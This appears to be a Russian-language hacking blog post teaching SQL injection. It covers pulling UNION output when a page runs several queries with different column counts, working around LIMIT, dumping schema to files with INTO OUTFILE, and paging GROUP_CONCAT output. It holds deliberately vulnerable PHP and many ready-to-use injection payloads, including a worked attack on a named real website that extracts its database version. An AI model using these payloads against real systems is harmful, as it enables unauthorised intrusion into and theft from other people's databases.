The used SELECT statements have a different number of columns

Материал относительно двух запросов подряд. Думаю все кто знаком с инъекциями с этой ошибкой сталкивались. При подборе количества полей через order by показывает допустим 4 поля, а при запросе union select 1,2,3,4 выкидывает ошибку different number of columns.
Обычно на вопрос, что это, кто-нибудь отвечает, что-то типа "там два запроса","ищи другой параметр", "юзай подзапросы" и это как-бы само по себе подразумевает, что вывода не будет.
Это не совсем так, а точнее совсем не так. Количество запросов не влияет на вывод, он либо есть, либо нет, и сколько запросов идёт к базе без разницы.
Давайте разберёмся. Допустим код выглядит так (не знаю кому это может понадобится, рассматриваем теорию):
$sql="SELECT page_title, page_autor, page_content, page_date FROM pages WHERE id=$id order by id limit 1";
$sql1="SELECT page_title, page_autor, page_content FROM pages WHERE id=$id order by id limit 1";$res=mysql_query($sql);
$result = mysql_fetch_row($res);
$res1=mysql_query($sql1);
$result1 = mysql_fetch_row($res1);
echo $result[0]."<br>";echo $result[1]."<br>";
echo $result[2]."<br>";
echo $result[3]."<br>";
echo $result1[0]."<br>";
echo $result1[1]."<br>";
echo $result1[2]."<br>";
Что будет при подборе:
?id=2+order+by+3/*--------вывод без ошибок
?id=2+order+by+4/*--------ошибка Unknown column '4' in 'order clause', но вывод из первого запроса остался. Ошибка возникает во втором запросе
?id=2+order+by+5/*--------тут уже вывода нет, оба запроса не верны
Начинаем вывод полей:
?id=-2+union+select+1,2,3/*-------вывод из 2-го запроса (в нём кол-во полей совпало)?
id=-2+union+select+1,2,3,4/*-------из первого
То есть вывод есть!
При расположении запросов в обратном порядке, будет то-же самое.

Далее, усложним задачу. Вывод из разных таблиц:
$sql="SELECT page_title, page_autor, page_content, page_date FROM pages WHERE id=$id";
$res=mysql_query($sql);
$result = mysql_fetch_row($res);
$sql1="SELECT title, date FROM news WHERE id=$id";
$res1=mysql_query($sql1);
$result1 = mysql_fetch_row($res1);
echo $result[0]."<br>";
echo $result[1]."<br>";
echo $result[2]."<br>";
echo $result[3]."<br>";
echo "result1 : ".$result1[0]."<br>";
echo "result1 : ".$result1[1]."<br>";
?id=1+order+by+2/*------вывод
?id=1+order+by+3/*------ошибка, но вывод из первого запроса
?id=1+order+by+5/*------и наконец ошибка
Выводим:
?id=-1+union+select+1,2/*-------вывод (2 запрс верен)
?id=-1+union+select+1,2,3,4/*--вывод (1 запрс верен)

Ну и наконец смертельный номер :) Результат одного запроса, идёт в другой запрос:
$sql1="SELECT page_title, id, page_content, page_date FROM pages WHERE page_autor='$id'";
$res1=mysql_query($sql1);
$result1 = mysql_fetch_row($res1);
if($res1){
$sql="SELECT title, date FROM news WHERE id='$result1[1]'";
$res=mysql_query($sql);
$result = mysql_fetch_row($res);
echo "result : ".$result[0]."<br>";
echo "result : ".$result[1]."<br>";
}
echo $result1[0]."<br>";
echo $result1[1]."<br>";
echo $result1[2]."<br>";
echo $result1[3]."<br>";
?id=sa'+order+by+4/*------вывод
?id=sa'+order+by+5/*------ошибка
Вывод:
?id=a'+union+select+1,2,3,4/*---из 1 запроса (второй кстати тоже будет верным)
Ну и из второго тоже можно вывести, но это конечно так, для общего развития:
?id=a'+union+select+1,"-1'+union+select+1,2/*",3,4/*
Здесь вывод из двух запросов.

Это конечно не полный перечень возможных запросов, но целью было не рассмотрение всех возможных вариантов. Этим дополнением я хотел показать, что неважно сколько запросов идёт к базе, вывод можно сделать, просто перебор кол-ва столбцов будет несколько отличаться от обычного.
Разумеется ничего нового в материале нет, но надеюсь вопросов связанных с этой ошибкой поубавится.

Ну и пример из жизни (взял первую, что нашол, из топика по скулям, кого обидел не поставив копирайты сори)
http://presscenter.kz/index.php?show=news&id=2+order+by+5/*
Вывод:
http://presscenter.kz/index.php?show=news&id=2+order+by+6/*
Unknown column '6' in 'order clause'
http://presscenter.kz/index.php?show=news&id=2+union+select+1,2,3,4,5/*
The used SELECT statements have a different number of columns
Вывод:
http://presscenter.kz/index.php?show=news&id=-1+union+select+concat(0x3a3a3a3a,Version()),2,3,4,5,6,7,8,9/*

Первоисточник 

LIMIT

Часто бывает такое, что при проведении SQL инжекта, обрезать данные основного запроса не представляется возможным, собственно вся суть сводится уже не к обрезанию избыточных данных, а именно к составлению логически правильного запроса, ну к примеру:
http://site.com/index.php?id=1’+union+select+1,2,version()+and+’1’=’1
Так же бывают случаи при данных условиях, когда в основном запросе используется LIMIT, что казалось бы, при данных условиях обламывает нам возможность его использования в нашем запросе, все немного не так, а точнее совсем не так, в общем то все дело можно легко обойти обозначив принадлежность определенного лимита к соответствующему запросу, ну например:
http://site.com/index.php?id=1’+union+(select+1,2,table_name+from+information_schema.tables+limit+1+offset+1)+and+’1’=’1

Удобный вывод

Часто бывает так, что вывода в скуле не добиться или попросту вывод есть, но он не удобен для обозревания (к примеру, в тайтл и т.п.), в общем при наличии определенных условий можно сделать проще и сдампить БД налегке, для этого нам нужно, чтобы на сайте директива magic_quotes_gps была равна Off, ну и соответственно права на запись (File_priv=y), пример:
SELECT substring(GROUP_CONCAT(COLUMN_NAME SEPARATOR 0×0a),0,1024) FROM information_schema.COLUMNS WHERE TABLE_NAME=0×7573657273 INTO OUTFILE ‘/put/k/saitu/lolo.txt’
Здесь в помощь конструкция INTO OUTFILE, но не INTO DUMPFILE – с ней возникают траблы при выводе больше одной строки.

Обход group_concat_max_len при использовании GROUP_CONCAT()

Довольно таки часто используемый прием с использованием GROUP_CONCAT(), но при его использовании у многих возникает проблема с максимальным объемом возвращаемых данных функцией, который как раз по дефолту и ограничен системной переменной group_concat_max_len, которую как правило и оставляют без изменения, а так же и то, что GROUP_CONCAT() не поддерживает LIMIT и собственно казалось бы способ очень удобный, но при дампе большой БД многих приводит в ступор именно это ограничение, ну, в общем-то тут не все так плохо, как кажется с первого взгляда, в помощь другие агрегаты, вывод спокойно можно и подвигать, пример:
SELECT substring(GROUP_CONCAT(COLUMN_NAME SEPARATOR 0×0a),1024,1024) FROM information_schema.COLUMNS WHERE TABLE_NAME=0×7573657273

Чарт хинтов

Решил открыть рубрику в блоге у себя где будут собираться различные приемы и вкусности при работе SQL-inj, Lfi/Rfi, XSS, думаю должна получиться занятная коллекция, как всегда посмотрим, что из этого выйдет.